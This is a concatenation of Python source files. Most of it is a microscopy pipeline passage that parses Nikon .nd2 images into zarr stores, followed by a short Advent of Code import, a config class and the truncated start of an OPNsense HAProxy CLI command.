channel for file logger.debug(f'processing channel {channel}') img_shape = np.array([parsed_metadata['height'],parsed_metadata['width']]) pixel_microns = parsed_metadata['pixel_microns'] z_levels = parsed_metadata['z_levels'] fields_of_view = parsed_metadata['fields_of_view'] # Collect FOV coords x_data = np.array(all_metadata.x_data) x_data = x_data[:,np.newaxis] y_data = np.array(all_metadata.y_data) y_data = y_data[:,np.newaxis] z_data = np.array(all_metadata.z_data) z_data = z_data[:,np.newaxis] all_coords = np.hstack((z_data,x_data,y_data)) fov_coords = all_coords[0::len(z_levels),:] tag_name = experiment_name + '_' + hybridization_name + '_' + channel # Save the file as zarr store = zarr.DirectoryStore(parsed_raw_data_fpath) root = zarr.group(store=store,overwrite=False) # Save the fov_coords fname = experiment_fpath / 'microscope_tiles_coords' / (tag_name + '_fovs_coords.npy') np.save(fname, fov_coords) nd2fh.bundle_axes = 'zyx' # set iteration over the fields of view nd2fh.iter_axes = 'v' # Save coords of the FOV rows = np.arange(parsed_metadata['width']) cols = np.arange(parsed_metadata['height']) hybridization_num = int(hybridization_name.split('Hybridization')[-1]) for fov in fields_of_view: img = np.array(nd2fh[fov],dtype=np.uint16) array_name = tag_name + '_fov_' + str(fov) dgrp = root.create_group(array_name) fov_name = 'raw_data_fov_' + str(fov) # Remember that attrs must be JSON-serializable to be stored # in zarr dgrp.attrs['grp_name'] = array_name dgrp.attrs['fov_name'] = fov_name dgrp.attrs['channel'] = channel dgrp.attrs['target_name'] = info_data['channels'][channel] dgrp.attrs['img_width'] = parsed_metadata['width'] dgrp.attrs['img_height'] = parsed_metadata['height'] dgrp.attrs['pixel_microns'] = pixel_microns dgrp.attrs['zstack'] = len(list(z_levels)) dgrp.attrs['total_fovs'] = len(list(fields_of_view)) dgrp.attrs['fov_num'] = fov dgrp.attrs['stitching_channel'] = experiment_info['StitchingChannel'] dgrp.attrs['stitching_type'] = experiment_info['Stitching_type'] dgrp.attrs['experiment_type'] = experiment_info['Experiment_type'] dgrp.attrs['barcode_length'] = experiment_info['Barcode_length'] dgrp.attrs['barcode'] = experiment_info['Barcode'] codebook_channel = 'Codebook_' + channel codebook_name = experiment_info['Codebooks'][codebook_channel] dgrp.attrs['codebook'] = codebook_name probes_channel = 'Probes_FASTA_' + channel probes_name = experiment_info['Probes_FASTA'][probes_channel] dgrp.attrs['probe_fasta_name'] = probes_name dgrp.attrs['machine'] = experiment_info['Machine'] dgrp.attrs['operator'] = experiment_info['Operator'] dgrp.attrs['overlapping_percentage'] = experiment_info['Overlapping_percentage'] dgrp.attrs['species'] = experiment_info['Species'] dgrp.attrs['start_date'] = experiment_info['Start_date'] dgrp.attrs['strain'] = experiment_info['Strain'] dgrp.attrs['tissue'] = experiment_info['Tissue'] dgrp.attrs['pipeline'] = experiment_info['Pipeline'] dgrp.attrs['round_num'] = hybridization_num dgrp.attrs['experiment_name'] = experiment_name dgrp.attrs['fov_acquisition_coords_x'] = fov_coords[fov,1] dgrp.attrs['fov_acquisition_coords_y'] = fov_coords[fov,2] dgrp.attrs['fov_acquisition_coords_z'] = fov_coords[fov,0] if info_data['StitchingChannel'] == channel: dgrp.attrs['processing_type'] = dgrp.attrs['stitching_type'] elif '_ST' in dgrp.attrs['target_name']: dgrp.attrs['processing_type'] = 'staining' else: dgrp.attrs['processing_type'] = 'fish' dset = dgrp.create_dataset(fov_name, data=img, shape=img.shape, chunks=(1,None,None),overwrite=True) # Rename the nd2 files new_file_name = tag_name + '.nd2' logger.debug(f'.nd2 file renamed {new_file_name}') new_file_path = raw_files_dir / new_file_name nd2_file_path.rename(new_file_path) nd2_file_path = new_file_path # Copy the pkl files new_file_name = tag_name + '_info.pkl' logger.debug(f'info data file renamed {new_file_name}') new_file_path = raw_files_dir / new_file_name # Must copy the pkl file in order to be able to use the file for the other channels shutil.copy(str(info_file), str(new_file_path)) def nikon_nd2_reparser_zarr(nd2_file_path: str,parsed_raw_data_fpath: str,experiment_info: dict): """ This function is used to reparse the raw data stored in the raw_data folder during the processing. NB: The file and the corresponding metadata file generated by the microscope have the same starting name: LBEXP20201014_EEL_Mouse_2420um_Hybridization01_Cy5.nd2 LBEXP20201014_EEL_Mouse_2420um_Hybridization01_Cy5_info.pkl The parsed_tmp directory is created in a previous step of the pipeline during data sorting This nd2 parser process one .nd2 file Args: nd2_file_path (str): Path to the .nd2 file to be parsed parsed_raw_data_fpath (str): Path to the zarr file that will store the parsed data experiment_info (dict): Dictionary with overall experiment info """ logger = selected_logger() nd2_file_path = Path(nd2_file_path) nd2_fname = nd2_file_path.stem parsed_raw_data_fpath = Path(parsed_raw_data_fpath) logger.debug(f'processing file {nd2_fname}') experiment_fpath = nd2_file_path.parent.parent experiment_name = nd2_file_path.parent.parent.stem # experiment_name = experiment_name.split('_auto')[0] info_file = nd2_file_path.parent / (nd2_fname + '_info.pkl') info_data = pickle.load(open(info_file, 'rb')) hybridization_name = info_data['channels']['Hybridization'] try: nd2fh = nd2reader.ND2Reader(nd2_file_path.as_posix()) except: logger.error(f'Cannot load the {nd2_fname} nd2 file') sys.exit('fCannot load the {nd2_fname} nd2 file') else: # Collect metadata all_metadata = nd2fh.parser._raw_metadata parsed_metadata = nd2fh.parser._raw_metadata.get_parsed_metadata() channel = parsed_metadata['channels'][0] # works because there is only one channel for file img_shape = np.array([parsed_metadata['height'],parsed_metadata['width']]) pixel_microns = parsed_metadata['pixel_microns'] z_levels = parsed_metadata['z_levels'] fields_of_view = parsed_metadata['fields_of_view'] # Collect FOV coords x_data = np.array(all_metadata.x_data) x_data = x_data[:,np.newaxis] y_data = np.array(all_metadata.y_data) y_data = y_data[:,np.newaxis] z_data = np.array(all_metadata.z_data) z_data = z_data[:,np.newaxis] all_coords = np.hstack((z_data,x_data,y_data)) fov_coords = all_coords[0::len(z_levels),:] tag_name = experiment_name + '_' + hybridization_name + '_' + channel # Save the fov_coords new_exp_location = parsed_raw_data_fpath.parent fname = new_exp_location /'microscope_tiles_coords' / (tag_name + '_fovs_coords.npy') np.save(fname, fov_coords) # Save the file as zarr store = zarr.DirectoryStore(parsed_raw_data_fpath) root = zarr.group(store=store,overwrite=False) nd2fh.bundle_axes = 'zyx' # set iteration over the fields of view nd2fh.iter_axes = 'v' # Save coords of the FOV rows = np.arange(parsed_metadata['width']) cols = np.arange(parsed_metadata['height']) hybridization_num = int(hybridization_name.split('Hybridization')[-1]) for fov in fields_of_view: img = np.array(nd2fh[fov],dtype=np.uint16) array_name = tag_name + '_fov_' + str(fov) dgrp = root.create_group(array_name) fov_name = 'raw_data_fov_' + str(fov) # Remember that attrs must be JSON-serializable to be stored # in zarr dgrp.attrs['grp_name'] = array_name dgrp.attrs['fov_name'] = fov_name dgrp.attrs['channel'] = channel dgrp.attrs['target_name'] = info_data['channels'][channel] dgrp.attrs['img_width'] = parsed_metadata['width'] dgrp.attrs['img_height'] = parsed_metadata['height'] dgrp.attrs['pixel_microns'] = pixel_microns dgrp.attrs['zstack'] = len(list(z_levels)) dgrp.attrs['total_fovs'] = len(list(fields_of_view)) dgrp.attrs['fov_num'] = fov dgrp.attrs['stitching_channel'] = experiment_info['StitchingChannel'] dgrp.attrs['stitching_type'] = experiment_info['Stitching_type'] dgrp.attrs['experiment_type'] = experiment_info['Experiment_type'] dgrp.attrs['round_num'] = hybridization_num dgrp.attrs['experiment_name'] = experiment_name dgrp.attrs['barcode_length'] = experiment_info['Barcode_length'] codebook_channel = 'Codebook_' + channel codebook_name = experiment_info['Codebooks'][codebook_channel] dgrp.attrs['codebook'] = codebook_name probes_channel = 'Probes_FASTA_' + channel probes_name = experiment_info['Probes_FASTA'][probes_channel] dgrp.attrs['probe_fasta_name'] = probes_name dgrp.attrs['barcode'] = experiment_info['Barcode'] dgrp.attrs['machine'] = experiment_info['Machine'] dgrp.attrs['operator'] = experiment_info['Operator'] dgrp.attrs['overlapping_percentage'] = experiment_info['Overlapping_percentage'] dgrp.attrs['species'] = experiment_info['Species'] dgrp.attrs['start_date'] = experiment_info['Start_date'] dgrp.attrs['strain'] = experiment_info['Strain'] dgrp.attrs['tissue'] = experiment_info['Tissue'] dgrp.attrs['pipeline'] = experiment_info['Pipeline'] dgrp.attrs['fov_acquisition_coords_x'] = fov_coords[fov,1] dgrp.attrs['fov_acquisition_coords_y'] = fov_coords[fov,2] dgrp.attrs['fov_acquisition_coords_z'] = fov_coords[fov,0] if info_data['StitchingChannel'] == channel: dgrp.attrs['processing_type'] = dgrp.attrs['stitching_type'] elif '_ST' in dgrp.attrs['target_name']: dgrp.attrs['processing_type'] = 'staining' else: dgrp.attrs['processing_type'] = 'fish' dset = dgrp.create_dataset(fov_name, data=img, shape=img.shape, chunks=(1,None,None),overwrite=True) def nikon_nd2_parser_simple_mfov(nd2_file_path: str): """ Function to parse a generic nikon .nd2 files generated by robofish. Args: nd2_file_path (str): Path to the .nd2 file to be parsed parsed_raw_data_fpath (str): Path to the zarr file that will store the parsed data """ logger = selected_logger() nd2_file_path = Path(nd2_file_path) nd2_fname = nd2_file_path.stem logger.debug(f'processing file {nd2_fname}') experiment_fpath = nd2_file_path.parent experiment_name = nd2_file_path.stem experiment_name = experiment_name.split('_auto')[0] parsed_raw_data_fpath = experiment_fpath / (experiment_name + '_img_data.zarr') try: nd2fh = nd2reader.ND2Reader(nd2_file_path) except: logger.error(f'Cannot load the nd2 file {nd2_file_path}') sys.exit(f'Cannot load the nd2 file {nd2_file_path}') else: # Collect metadata all_metadata = nd2fh.parser._raw_metadata parsed_metadata = nd2fh.parser._raw_metadata.get_parsed_metadata() channel = parsed_metadata['channels'][0] # works because there is only one channel for file logger.debug(f'processing channel {channel}') img_shape = np.array([parsed_metadata['height'],parsed_metadata['width']]) pixel_microns = parsed_metadata['pixel_microns'] z_levels = parsed_metadata['z_levels'] fields_of_view = parsed_metadata['fields_of_view'] # Collect FOV coords x_data = np.array(all_metadata.x_data) x_data = x_data[:,np.newaxis] y_data = np.array(all_metadata.y_data) y_data = y_data[:,np.newaxis] z_data = np.array(all_metadata.z_data) z_data = z_data[:,np.newaxis] all_coords = np.hstack((z_data,x_data,y_data)) fov_coords = all_coords[0::len(z_levels),:] tag_name = experiment_name # Save the file as zarr store = zarr.DirectoryStore(parsed_raw_data_fpath) root = zarr.group(store=store,overwrite=False) # Save the fov_coords fname = experiment_fpath / (tag_name + '_fovs_coords.npy') np.save(fname, fov_coords) if 'z' in nd2fh.sizes.keys(): nd2fh.bundle_axes = 'zyx' else: nd2fh.bundle_axes = 'yx' # set iteration over the fields of view nd2fh.iter_axes = 'v' # Save coords of the FOV rows = np.arange(parsed_metadata['width']) cols = np.arange(parsed_metadata['height']) for fov in fields_of_view: img = np.array(nd2fh[fov],dtype=np.uint16) array_name = tag_name + '_fov_' + str(fov) dgrp = root.create_group(array_name) fov_name = 'raw_data_fov_' + str(fov) # Remember that attrs must be JSON-serializable to be stored # in zarr dgrp.attrs['grp_name'] = array_name dgrp.attrs['fov_name'] = fov_name dgrp.attrs['channel'] = channel dgrp.attrs['img_width'] = parsed_metadata['width'] dgrp.attrs['img_height'] = parsed_metadata['height'] dgrp.attrs['pixel_microns'] = pixel_microns dgrp.attrs['zstack'] = len(list(z_levels)) dgrp.attrs['total_fovs'] = len(list(fields_of_view)) dgrp.attrs['fov_num'] = fov dgrp.attrs['experiment_name'] = experiment_name dgrp.attrs['fov_acquisition_coords_x'] = fov_coords[fov,1] dgrp.attrs['fov_acquisition_coords_y'] = fov_coords[fov,2] dgrp.attrs['fov_acquisition_coords_z'] = fov_coords[fov,0] dgrp.attrs['target_name'] = 'undefined' dgrp.attrs['stitching_channel'] = 'undefined' dgrp.attrs['stitching_type'] = 'undefined' dgrp.attrs['experiment_type'] = 'undefined' dgrp.attrs['round_num'] = 1 dgrp.attrs['barcode_length'] = 'undefined' dgrp.attrs['barcode'] = 'undefined' dgrp.attrs['codebook'] = 'undefined' dgrp.attrs['machine'] = 'undefined' dgrp.attrs['operator'] = 'undefined' dgrp.attrs['overlapping_percentage'] = 'undefined' dgrp.attrs['probe_fasta_name'] = 'undefined' dgrp.attrs['species'] = 'undefined' dgrp.attrs['start_date'] = 'undefined' dgrp.attrs['strain'] = 'undefined' dgrp.attrs['tissue'] = 'undefined' dgrp.attrs['pipeline'] = 'undefined' dgrp.attrs['processing_type'] = 'undefined' dgrp.attrs['round_num'] = 1 dset = dgrp.create_dataset(fov_name, data=img, shape=img.shape, chunks=(1,None,None),overwrite=True) # # Rename the nd2 files # new_file_name = tag_name + '.nd2' # logger.debug(f'.nd2 file renamed {new_file_name}') # new_file_path = experiment_fpath / new_file_name # nd2_file_path.rename(new_file_path) # nd2_file_path = new_file_path def nikon_nd2_parsing_graph(experiment_fpath: str, parsing_type: str, parsed_image_tag: str, storage_experiment_fpath: str, client: distributed.Client): """Function that create and run a dask graph for the parsing of the raw nikon files. The parsing can be run on original files generated by robofish or on previously parsed and renamed files raw nd2 files stored in the experiment folder or in a storage directory. The parsed data are stored in a zarr DirectoryStore and each fov is saved as separated group. Steps run in the graph: - Create a specific analysis configuration file (it will not rewrite it if it is already present) - Create the empy zarr storage that will contain the parsed files - If the files are parsed from a newly generated experiment: -- The files in the folder will be sorted and organized -- A QC step will make sure that the number of metadata files will match the raw .nd2 files - After parsing the zarr metadata are consolidated in one single large JSON file (.zmetadata) that will allow faster read of the metadata collected from the raw images. Args: experiment_fpath (str): Path of the experiment to process parsing_type (str): Can be: - original: if the experiment to process has been newly generated by the robofish system - reparsing_from_processing_folder: if the raw data to parse have been parsed and renamed before but are still contained in the subfolder raw_data in the experiment folder - reparsing_from_storage: if the raw data to parse have been parsed and renamed before and are stored in a subfolder raw_data in the experiment folder that has been moved in a storage directory. parsed_image_tag (str): Tag to identify the zarr file with parsed images (default: img_data) storage_experiment_fpath (str): Path to folder in the storage HD where to store (or are stored) the raw data for the current experiment. client (distributed.Client): Dask client responsible for handling the processing of the graph. """ logger = selected_logger() experiment_fpath = Path(experiment_fpath) storage_experiment_fpath = Path(storage_experiment_fpath) experiment_info = configuration_files.load_experiment_config_file(experiment_fpath) configuration_files.create_specific_analysis_config_file(experiment_fpath, experiment_info) # Create empty zarr file for the parse data parsed_raw_data_fpath = io.create_empty_zarr_file(experiment_fpath=experiment_fpath, tag=parsed_image_tag) if parsing_type == 'original': utils.collect_processing_files(experiment_fpath, experiment_info) utils.sort_data_into_folders(experiment_fpath, experiment_info) all_raw_nd2 = nd2_raw_files_selector(experiment_fpath) qc_utils.QC_matching_nd2_metadata_robofish(all_raw_nd2) parsing_futures = client.map(nikon_nd2_autoparser_zarr, all_raw_nd2, parsed_raw_data_fpath=parsed_raw_data_fpath, experiment_info=experiment_info) # wait(parsing_futures) _ = client.gather(parsing_futures) list_pkl = experiment_fpath.glob('*.pkl') for pkl_fpath in list_pkl: new_file_path = experiment_fpath / 'raw_data' / pkl_fpath.name pkl_fpath.rename(new_file_path) else: # add error if not correct parsing type if parsing_type == 'reparsing_from_processing_folder': raw_files_fpath = experiment_fpath / 'raw_data' logger.info(f'raw_files_fpath {raw_files_fpath}') elif parsing_type == 'reparsing_from_storage': raw_files_fpath = storage_experiment_fpath / 'raw_data' all_raw_nd2 = nd2_raw_files_selector_general(folder_fpath=raw_files_fpath) parsing_futures = client.map(nikon_nd2_reparser_zarr, all_raw_nd2, parsed_raw_data_fpath=parsed_raw_data_fpath, experiment_info=experiment_info) _ = client.gather(parsing_futures) consolidated_grp = io.consolidate_zarr_metadata(parsed_raw_data_fpath) # TODO Remove xarray conversion functions # ---------------------------------------------------------------------------------- # def nikon_nd2_autoparser_xarray_zarr(nd2_file_path, parsed_raw_data_fpath, experiment_info): # """ # Function to parse nikon .nd2 files generated by robofish. # This parser not consider the possibility to have multiple experiment running at # the same time with the raw imaging data present in the same folder. # Once the data are parsed by hybridization are saved in # the same folder. # NB: The file and the corresponding metadata file generated by the microscope # must contain 'CountXXXXX' in order to be processed # The parsed_tmp and raw_data directories are created in a previous step of the # pipeline during data sorting # QC step run before parsing take care of checking if the nd2 files are present # and in the corresponding pickle configuration files are in the folder # This nd2 parser process one .nd2 file # Args: # nd2_file_path: str # Path to the .nd2 file to be parsed # parsed_raw_data_fpath: str # Path to the zarr file that will store the parsed data # experiment_info: dict # Dictionary with overall experiment info # Returns: # processing_info: list of tuples # each tuple contain the path of the zarr storage and the number of fov # """ # logger = selected_logger() # parsed_raw_data_fpath = Path(parsed_raw_data_fpath) # nd2_file_path = Path(nd2_file_path) # nd2_fname = nd2_file_path.stem # logger.debug(f'processing file {nd2_fname}') # experiment_fpath = nd2_file_path.parent # experiment_name = nd2_file_path.parent.stem # experiment_name = experiment_name.split('_auto')[0] # raw_files_dir = experiment_fpath / 'raw_data' # # Extract the Count code from the file name # count_code = re.search(r'(Count)\d{5}', nd2_file_path.stem).group() # all_info_files = experiment_fpath.glob('*.pkl') # info_file = [info_file for info_file in all_info_files if count_code in info_file.stem][0] # info_data = pickle.load(open(info_file, 'rb')) # logger.debug(f'loaded info data file {info_file.stem}') # hybridization_name = info_data['channels']['Hybridization'] # logger.debug(f'processing hybridization {hybridization_name}') # try: # nd2fh = nd2reader.ND2Reader(nd2_file_path) # except: # logger.error('Cannot load the nd2 file') # err = signals.FAIL('Cannot load the nd2 file') # raise err # else: # # Collect metadata # all_metadata = nd2fh.parser._raw_metadata # parsed_metadata = nd2fh.parser._raw_metadata.get_parsed_metadata() # channel = parsed_metadata['channels'][0] # works because there is only one channel for file # logger.debug(f'processing channel {channel}') # img_shape = np.array([parsed_metadata['height'],parsed_metadata['width']]) # pixel_microns = parsed_metadata['pixel_microns'] # z_levels = parsed_metadata['z_levels'] # fields_of_view = parsed_metadata['fields_of_view'] # # Collect FOV coords # x_data = np.array(all_metadata.x_data) # x_data = x_data[:,np.newaxis] # y_data = np.array(all_metadata.y_data) # y_data = y_data[:,np.newaxis] # z_data = np.array(all_metadata.z_data) # z_data = z_data[:,np.newaxis] # all_coords = np.hstack((z_data,x_data,y_data)) # fov_coords = all_coords[0::len(z_levels),:] # tag_name = experiment_name + '_' + hybridization_name + '_' + channel # # Save the fov_coords # fname = experiment_fpath / 'microscope_tiles_coords' / (tag_name + '_fovs_coords.npy') # np.save(fname, fov_coords) # nd2fh.bundle_axes = 'zyx' # # set iteration over the fields of view # nd2fh.iter_axes = 'v' # round_num = int(nd2_file_path.stem.split('_')[-2].split('Hybridization')[-1]) # z = np.arange(nd2fh.sizes['z']) # r = np.arange(nd2fh.sizes['y']) # c = np.arange(nd2fh.sizes['x']) # channel_arr = np.array([channel]) # round_num = np.array([round_num]) # experiment_name_arr = np.array([experiment_name]) # chunks_dict = {'experiment_name':1,'channel':1,'fov':1,'round_num':1, # 'zstack':nd2fh.sizes['z'],'rows':nd2fh.sizes['y'],'columns':nd2fh.sizes['x']} # chunks_tuple = (1,1,1,1,nd2fh.sizes['z'],nd2fh.sizes['y'],nd2fh.sizes['x']) # hybridization_num = int(hybridization_name.split('Hybridization')[-1]) # for fov in fields_of_view: # array_name = tag_name + '_fov_' + str(fov) # attrs = {} # attrs['grp_name'] = array_name # attrs['fov_name'] = 'fov_' + str(fov) # attrs['channel'] = channel # attrs['target_name'] = info_data['channels'][channel] # attrs['img_width'] = parsed_metadata['width'] # attrs['img_height'] = parsed_metadata['height'] # attrs['pixel_microns'] = pixel_microns # attrs['z_levels'] = list(z_levels) # attrs['fields_of_view'] = list(fields_of_view) # attrs['fov_num'] = fov # attrs['stitching_channel'] = experiment_info['StitchingChannel'] # attrs['stitching_type'] = experiment_info['Stitching_type'] # attrs['experiment_type'] = experiment_info['Experiment_type'] # attrs['hybridization_num'] = hybridization_num # attrs['experiment_name'] = experiment_name # attrs['fov_acquisition_coords_x'] = fov_coords[fov,1] # attrs['fov_acquisition_coords_y'] = fov_coords[fov,2] # attrs['fov_acquisition_coords_z'] = fov_coords[fov,0] # if info_data['StitchingChannel'] == channel: # attrs['processing_type'] = attrs['stitching_type'] # elif '_ST' in attrs['target_name']: # attrs['processing_type'] = 'staining' # else: # attrs['processing_type'] = 'fish' # fov_arr = np.array([fov]) # arr = np.array(nd2fh[fov],dtype=np.uint16) # arr = arr[np.newaxis,np.newaxis,np.newaxis,np.newaxis, :,:,:] # # arr = da.from_array(arr, chunks=(None,None,None,None,None,None,None)) # data_xr = xr.DataArray(arr, # coords = { # 'experiment_name':experiment_name_arr, # 'channel':channel_arr, # 'fov': fov_arr, # 'round_num':round_num, # 'zstack':z, # 'rows':r, # 'columns':c}, # dims=['experiment_name','channel','fov','round_num', # 'zstack','rows','columns'], # attrs= attrs # ) # # data_xr = data_xr.chunk(chunks_dict) # data_dset_name = tag_name + '_fov_' + str(fov) # data_dset_path = (parsed_raw_data_fpath / (data_dset_name + '.zarr')).as_posix() # # data_dset = xr.Dataset({data_dset_name: data_xr}) # data_dset = xr.Dataset({'raw_data': data_xr},attrs=attrs) # data_dset.to_zarr(store=data_dset_path,mode='w') # # data_dset.to_netcdf(data_dset_path,mode='w') # # Rename the nd2 files # new_file_name = tag_name + '.nd2' # logger.debug(f'.nd2 file renamed {new_file_name}') # new_file_path = raw_files_dir / new_file_name # nd2_file_path.rename(new_file_path) # nd2_file_path = new_file_path # # Copy the pkl files # new_file_name = tag_name + '_info.pkl' # logger.debug(f'info data file renamed {new_file_name}') # new_file_path = raw_files_dir / new_file_name # # Must copy the pkl file in order to be able to use the file for the other channels # shutil.copy(str(info_file), str(new_file_path)) # def nikon_nd2_reparser_xarray_zarr(nd2_file_path,parsed_raw_data_fpath,experiment_info): # """ # This function is used to reparse the raw data stored in the raw_data folder during # the processing. # NB: The file and the corresponding metadata file generated by the microscope # have the same starting name: # LBEXP20201014_EEL_Mouse_2420um_Hybridization01_Cy5.nd2 # LBEXP20201014_EEL_Mouse_2420um_Hybridization01_Cy5_info.pkl # The parsed_tmp directory is created in a previous step of the # pipeline during data sorting # This nd2 parser process one .nd2 file # Args: # nd2_file_path: str # Path to the .nd2 file to be parsed # parsed_raw_data_fpath: str # Path to the zarr file that will store the parsed data # experiment_info: dict # Dictionary with overall experiment info # Returns: # processing_info: list of tuples # each tuple contain the path of the zarr storage and the number of fov # """ # logger = selected_logger() # nd2_file_path = Path(nd2_file_path) # nd2_fname = nd2_file_path.stem # parsed_raw_data_fpath = Path(parsed_raw_data_fpath) # logger.debug(f'processing file {nd2_fname}') # experiment_fpath = nd2_file_path.parent.parent # experiment_name = nd2_file_path.parent.parent.stem # # experiment_name = experiment_name.split('_auto')[0] # info_file = nd2_file_path.parent / (nd2_fname + '_info.pkl') # info_data = pickle.load(open(info_file, 'rb')) # hybridization_name = info_data['channels']['Hybridization'] # try: # nd2fh = nd2reader.ND2Reader(nd2_file_path) # except: # logger.error('Cannot load the {nd2_fname} nd2 file') # sys.exit('Cannot load the {nd2_fname} nd2 file') # else: # # Collect metadata # all_metadata = nd2fh.parser._raw_metadata # parsed_metadata = nd2fh.parser._raw_metadata.get_parsed_metadata() # channel = parsed_metadata['channels'][0] # works because there is only one channel for file # img_shape = np.array([parsed_metadata['height'],parsed_metadata['width']]) # pixel_microns = parsed_metadata['pixel_microns'] # z_levels = parsed_metadata['z_levels'] # fields_of_view = parsed_metadata['fields_of_view'] # # Collect FOV coords # x_data = np.array(all_metadata.x_data) # x_data = x_data[:,np.newaxis] # y_data = np.array(all_metadata.y_data) # y_data = y_data[:,np.newaxis] # z_data = np.array(all_metadata.z_data) # z_data = z_data[:,np.newaxis] # all_coords = np.hstack((z_data,x_data,y_data)) # fov_coords = all_coords[0::len(z_levels),:] # tag_name = experiment_name + '_' + hybridization_name + '_' + channel # # Save the fov_coords # new_exp_location = parsed_raw_data_fpath.parent # fname = new_exp_location / 'microscope_tiles_coords' / (tag_name + '_fovs_coords.npy') # np.save(fname, fov_coords) # # Save the file as zarr # # store = zarr.DirectoryStore(parsed_raw_data_fpath) # # root = zarr.group(store=store,overwrite=False) # nd2fh.bundle_axes = 'zyx' # # set iteration over the fields of view # nd2fh.iter_axes = 'v' # round_num = int(nd2_file_path.stem.split('_')[-2].split('Hybridization')[-1]) # z = np.arange(nd2fh.sizes['z']) # r = np.arange(nd2fh.sizes['y']) # c = np.arange(nd2fh.sizes['x']) # channel_arr = np.array([channel]) # round_num = np.array([round_num]) # experiment_name_arr = np.array([experiment_name]) # chunks_dict = {'experiment_name':1,'channel':1,'fov':1,'round_num':1, # 'zstack':nd2fh.sizes['z'],'rows':nd2fh.sizes['y'],'columns':nd2fh.sizes['x']} # chunks_tuple = (1,1,1,1,nd2fh.sizes['z'],nd2fh.sizes['y'],nd2fh.sizes['x']) # hybridization_num = int(hybridization_name.split('Hybridization')[-1]) # for fov in fields_of_view: # array_name = tag_name + '_fov_' + str(fov) # attrs = {} # attrs['grp_name'] = array_name # attrs['fov_name'] = 'fov_' + str(fov) # attrs['channel'] = channel # attrs['target_name'] = info_data['channels'][channel] # attrs['img_width'] = parsed_metadata['width'] # attrs['img_height'] = parsed_metadata['height'] # attrs['pixel_microns'] = pixel_microns # attrs['z_levels'] = list(z_levels) # attrs['fields_of_view'] = list(fields_of_view) # attrs['fov_num'] = fov # attrs['stitching_channel'] = experiment_info['StitchingChannel'] # attrs['stitching_type'] = experiment_info['Stitching_type'] # attrs['experiment_type'] = experiment_info['Experiment_type'] # attrs['hybridization_num'] = hybridization_num # attrs['experiment_name'] = experiment_name # attrs['fov_acquisition_coords_x'] = fov_coords[fov,1] # attrs['fov_acquisition_coords_y'] = fov_coords[fov,2] # attrs['fov_acquisition_coords_z'] = fov_coords[fov,0] # if info_data['StitchingChannel'] == channel: # attrs['processing_type'] = attrs['stitching_type'] # elif '_ST' in attrs['target_name']: # attrs['processing_type'] = 'staining' # else: # attrs['processing_type'] = 'fish' # fov_arr = np.array([fov]) # arr = np.array(nd2fh[fov],dtype=np.uint16) # arr = arr[np.newaxis,np.newaxis,np.newaxis,np.newaxis, :,:,:] # # arr = da.from_array(arr, chunks=(None,None,None,None,None,None,None)) # data_xr = xr.DataArray(arr, # coords = { # 'experiment_name':experiment_name_arr, # 'channel':channel_arr, # 'fov': fov_arr, # 'round_num':round_num, # 'zstack':z, # 'rows':r, # 'columns':c}, # dims=['experiment_name','channel','fov','round_num', # 'zstack','rows','columns'], # attrs= attrs # ) # # data_xr = data_xr.chunk(chunks_dict) # data_dset_name = tag_name + '_fov_' + str(fov) # data_dset_path = (parsed_raw_data_fpath / (data_dset_name + '.zarr')).as_posix() # # data_dset = xr.Dataset({data_dset_name: data_xr}) # data_dset = xr.Dataset({'raw_data': data_xr},attrs=attrs) # data_dset.to_zarr(store=data_dset_path,mode='w') # # data_dset.to_netcdf(data_dset_path,mode='w')

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45,016

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null

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1

0

null

0

6

e3280a39241a0a9cb700239911a8ce7871651cbb

34

py

Python

aoc/d13/__init__.py

klittlepage/aoc2020

7135ac08263480a8cc9d6536d7caeb26bf85ae4f

[ "MIT" ]

null

aoc/d13/__init__.py

klittlepage/aoc2020

7135ac08263480a8cc9d6536d7caeb26bf85ae4f

[ "MIT" ]

null

aoc/d13/__init__.py

klittlepage/aoc2020

7135ac08263480a8cc9d6536d7caeb26bf85ae4f

[ "MIT" ]

null

from aoc.d13.main import p_1, p_2

17

33

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9

34

2.666667

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null

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1

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1

0

6

e3513c3f33a81aa62a2ec82b6e19303d151d98fe

86

py

Python

olea/configs/base_conf.py

Pix-00/olea

98bee1fd8866a3929f685a139255afb7b6813f31

[ "Apache-2.0" ]

2

2020-06-18T03:25:52.000Z

2020-06-18T07:33:45.000Z

olea/configs/base_conf.py

Pix-00/olea

98bee1fd8866a3929f685a139255afb7b6813f31

[ "Apache-2.0" ]

15

2021-01-28T07:11:04.000Z

2021-05-24T07:11:37.000Z

olea/configs/base_conf.py

Pix-00/olea

98bee1fd8866a3929f685a139255afb7b6813f31

[ "Apache-2.0" ]

null

class BaseConfig(): def __getitem__(self, key): return getattr(self, key)

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6

8b7f6c6b7f466a89ca0b03fae4a01f1924fff5d5

8,920

py

Python

opnsense_cli/commands/plugin/haproxy/mailer.py

jan-win1993/opn-cli

83c4792571dacbe6483722a95276954c7a2d0b3c

[ "BSD-2-Clause" ]

13

2021-05-17T10:42:25.000Z

2022-02-21T02:10:41.000Z

opnsense_cli/commands/plugin/haproxy/mailer.py

jan-win1993/opn-cli

83c4792571dacbe6483722a95276954c7a2d0b3c

[ "BSD-2-Clause" ]

14

2021-05-17T13:53:27.000Z

2021-12-16T12:45:44.000Z

opnsense_cli/commands/plugin/haproxy/mailer.py

jan-win1993/opn-cli

83c4792571dacbe6483722a95276954c7a2d0b3c

[ "BSD-2-Clause" ]

2

2021-04-28T08:41:07.000Z

2022-03-28T10:20:51.000Z

import click from opnsense_cli.formatters.cli_output import CliOutputFormatter from opnsense_cli.callbacks.click import \ formatter_from_formatter_name, bool_as_string, available_formats, tuple_to_csv from opnsense_cli.commands.plugin.haproxy import haproxy from opnsense_cli.api.client import ApiClient from opnsense_cli.api.plugin.haproxy import Settings, Service from opnsense_cli.facades.commands.plugin.haproxy.mailer import HaproxyMailerFacade pass_api_client = click.make_pass_decorator(ApiClient) pass_haproxy_mailer_svc = click.make_pass_decorator(HaproxyMailerFacade) @haproxy.group() @pass_api_client @click.pass_context def mailer(ctx, api_client: ApiClient, **kwargs): """ Email alerts when the state of servers changes. """ settings_api = Settings(api_client) service_api = Service(api_client) ctx.obj = HaproxyMailerFacade(settings_api, service_api) @mailer.command() @click.option( '--output', '-o', help='Specifies the Output format.', default="table", type=click.Choice(available_formats()), callback=formatter_from_formatter_name, show_default=True, ) @click.option( '--cols', '-c', help='Which columns should be printed? Pass empty string (-c '') to show all columns', default=( "uuid,enabled,name,description,mailservers,sender,recipient,loglevel,timeout,hostname" ), show_default=True, ) @pass_haproxy_mailer_svc def list(haproxy_mailer_svc: 